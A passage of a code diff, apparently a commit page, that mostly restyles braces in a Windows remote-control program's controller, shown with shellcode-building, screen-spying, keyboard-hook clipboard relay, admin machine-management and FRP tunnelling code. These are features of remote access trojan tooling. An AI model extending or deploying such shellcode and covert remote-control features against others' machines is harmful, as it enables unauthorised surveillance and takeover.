}
|
} else {
|
||||||
else {
|
|
||||||
AfxMessageBox("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
|
AfxMessageBox("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
} else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize)) {
|
||||||
else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize)) {
|
|
||||||
TCHAR buffer[MAX_PATH];
|
TCHAR buffer[MAX_PATH];
|
||||||
_tcscpy_s(buffer, name);
|
_tcscpy_s(buffer, name);
|
||||||
PathRemoveExtension(buffer);
|
PathRemoveExtension(buffer);
|
||||||
@@ -3504,7 +3509,8 @@ void CMy2015RemoteDlg::OnOnlineRegroup()
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CMy2015RemoteDlg::MachineManage(MachineCommand type) {
|
void CMy2015RemoteDlg::MachineManage(MachineCommand type)
|
||||||
|
{
|
||||||
if (MessageBoxA("此操作需客户端具有管理员权限,确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
|
if (MessageBoxA("此操作需客户端具有管理员权限,确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||||
@@ -3550,8 +3556,7 @@ void CMy2015RemoteDlg::OnExecuteUpload()
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnDestroy()
|
void CMy2015RemoteDlg::OnDestroy()
|
||||||
{
|
{
|
||||||
if (g_hKeyboardHook)
|
if (g_hKeyboardHook) {
|
||||||
{
|
|
||||||
UnhookWindowsHookEx(g_hKeyboardHook);
|
UnhookWindowsHookEx(g_hKeyboardHook);
|
||||||
g_hKeyboardHook = NULL;
|
g_hKeyboardHook = NULL;
|
||||||
}
|
}
|
||||||
@@ -3568,7 +3573,10 @@ CString GetClipboardText()
|
|||||||
HANDLE hData = GetClipboardData(CF_TEXT);
|
HANDLE hData = GetClipboardData(CF_TEXT);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
if (!hData) { CloseClipboard(); return _T(""); }
|
if (!hData) {
|
||||||
|
CloseClipboard();
|
||||||
|
return _T("");
|
||||||
|
}
|
||||||
|
|
||||||
#ifdef UNICODE
|
#ifdef UNICODE
|
||||||
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
|
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
|
||||||
@@ -3616,7 +3624,8 @@ CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
|
|||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd) {
|
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd)
|
||||||
|
{
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
m_RemoteWnds.erase(wnd);
|
m_RemoteWnds.erase(wnd);
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
@@ -3624,15 +3633,13 @@ void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd) {
|
|||||||
|
|
||||||
LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
|
LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
|
||||||
{
|
{
|
||||||
if (nCode == HC_ACTION)
|
if (nCode == HC_ACTION) {
|
||||||
{
|
|
||||||
do {
|
do {
|
||||||
static CDialogBase* operateWnd = nullptr;
|
static CDialogBase* operateWnd = nullptr;
|
||||||
KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;
|
KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;
|
||||||
|
|
||||||
// 只在按下时处理
|
// 只在按下时处理
|
||||||
if (wParam == WM_KEYDOWN)
|
if (wParam == WM_KEYDOWN) {
|
||||||
{
|
|
||||||
// 检测 Ctrl+C / Ctrl+X
|
// 检测 Ctrl+C / Ctrl+X
|
||||||
if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && (pKey->vkCode == 'C' || pKey->vkCode == 'X')) {
|
if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && (pKey->vkCode == 'C' || pKey->vkCode == 'X')) {
|
||||||
HWND hFore = ::GetForegroundWindow();
|
HWND hFore = ::GetForegroundWindow();
|
||||||
@@ -3641,12 +3648,10 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
|||||||
g_2015RemoteDlg->m_pActiveSession = nullptr;
|
g_2015RemoteDlg->m_pActiveSession = nullptr;
|
||||||
}
|
}
|
||||||
// 检测 Ctrl+V
|
// 检测 Ctrl+V
|
||||||
else if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && pKey->vkCode == 'V')
|
else if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && pKey->vkCode == 'V') {
|
||||||
{
|
|
||||||
HWND hFore = ::GetForegroundWindow();
|
HWND hFore = ::GetForegroundWindow();
|
||||||
CDialogBase* dlg = g_2015RemoteDlg->GetRemoteWindow(hFore);
|
CDialogBase* dlg = g_2015RemoteDlg->GetRemoteWindow(hFore);
|
||||||
if (dlg)
|
if (dlg) {
|
||||||
{
|
|
||||||
if (dlg == operateWnd)break;
|
if (dlg == operateWnd)break;
|
||||||
auto screen = (CScreenSpyDlg*)dlg;
|
auto screen = (CScreenSpyDlg*)dlg;
|
||||||
if (!screen->m_bIsCtrl) {
|
if (!screen->m_bIsCtrl) {
|
||||||
@@ -3655,17 +3660,14 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
|||||||
}
|
}
|
||||||
// [1] 本地 -> 远程
|
// [1] 本地 -> 远程
|
||||||
auto files = GetClipboardFiles();
|
auto files = GetClipboardFiles();
|
||||||
if (!files.empty())
|
if (!files.empty()) {
|
||||||
{
|
|
||||||
// 获取远程目录
|
// 获取远程目录
|
||||||
BYTE szBuffer[100] = { COMMAND_GET_FOLDER };
|
BYTE szBuffer[100] = { COMMAND_GET_FOLDER };
|
||||||
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
||||||
memcpy((char*)szBuffer + 1, masterId.c_str(), masterId.length());
|
memcpy((char*)szBuffer + 1, masterId.c_str(), masterId.length());
|
||||||
memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||||||
dlg->m_ContextObject->Send2Client(szBuffer, sizeof(szBuffer));
|
dlg->m_ContextObject->Send2Client(szBuffer, sizeof(szBuffer));
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
CString strText = GetClipboardText();
|
CString strText = GetClipboardText();
|
||||||
if (!strText.IsEmpty()) {
|
if (!strText.IsEmpty()) {
|
||||||
BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
|
BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
|
||||||
@@ -3676,9 +3678,7 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
|||||||
SAFE_DELETE_ARRAY(szBuffer);
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
} else if (g_2015RemoteDlg->m_pActiveSession && operateWnd) {
|
||||||
else if (g_2015RemoteDlg->m_pActiveSession && operateWnd)
|
|
||||||
{
|
|
||||||
auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->m_pActiveSession);
|
auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->m_pActiveSession);
|
||||||
if (!screen->m_bIsCtrl) {
|
if (!screen->m_bIsCtrl) {
|
||||||
Mprintf("【Ctrl+V】 [远程 -> 本地] 窗口不是控制状态: %s\n", screen->m_IPAddress);
|
Mprintf("【Ctrl+V】 [远程 -> 本地] 窗口不是控制状态: %s\n", screen->m_IPAddress);
|
||||||
@@ -3691,17 +3691,14 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
|||||||
memcpy((char*)bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
memcpy((char*)bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||||||
auto files = GetClipboardFiles();
|
auto files = GetClipboardFiles();
|
||||||
if (!files.empty()) {
|
if (!files.empty()) {
|
||||||
if (::OpenClipboard(nullptr))
|
if (::OpenClipboard(nullptr)) {
|
||||||
{
|
|
||||||
EmptyClipboard();
|
EmptyClipboard();
|
||||||
CloseClipboard();
|
CloseClipboard();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||||
Mprintf("【Ctrl+V】 从远程拷贝到本地 \n");
|
Mprintf("【Ctrl+V】 从远程拷贝到本地 \n");
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
Mprintf("[Ctrl+V] 没有活动的远程桌面会话 \n");
|
Mprintf("[Ctrl+V] 没有活动的远程桌面会话 \n");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -246,7 +246,7 @@ public:
|
|||||||
STATUS_EXIT = 2,
|
STATUS_EXIT = 2,
|
||||||
};
|
};
|
||||||
HANDLE m_hFRPThread = NULL;
|
HANDLE m_hFRPThread = NULL;
|
||||||
int m_frpStatus = STATUS_RUN;
|
int m_frpStatus = STATUS_UNKNOWN;
|
||||||
static DWORD WINAPI StartFrpClient(LPVOID param);
|
static DWORD WINAPI StartFrpClient(LPVOID param);
|
||||||
void ApplyFrpSettings();
|
void ApplyFrpSettings();
|
||||||
bool CheckValid(int trail = 14);
|
bool CheckValid(int trail = 14);
|
||||||
|
|||||||
@@ -39,16 +39,30 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
|||||||
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||||
#endif
|
#endif
|
||||||
#else
|
#else
|
||||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) { return 0; }
|
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
|
||||||
int UninitFileUpload() { return 0; }
|
{
|
||||||
std::vector<std::string> GetClipboardFiles() { return{}; }
|
return 0;
|
||||||
bool GetCurrentFolderPath(std::string& outDir) { return false; }
|
}
|
||||||
|
int UninitFileUpload()
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
std::vector<std::string> GetClipboardFiles()
|
||||||
|
{
|
||||||
|
return{};
|
||||||
|
}
|
||||||
|
bool GetCurrentFolderPath(std::string& outDir)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) {
|
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
|
||||||
|
{
|
||||||
finish(user);
|
finish(user);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) {
|
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
|
||||||
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user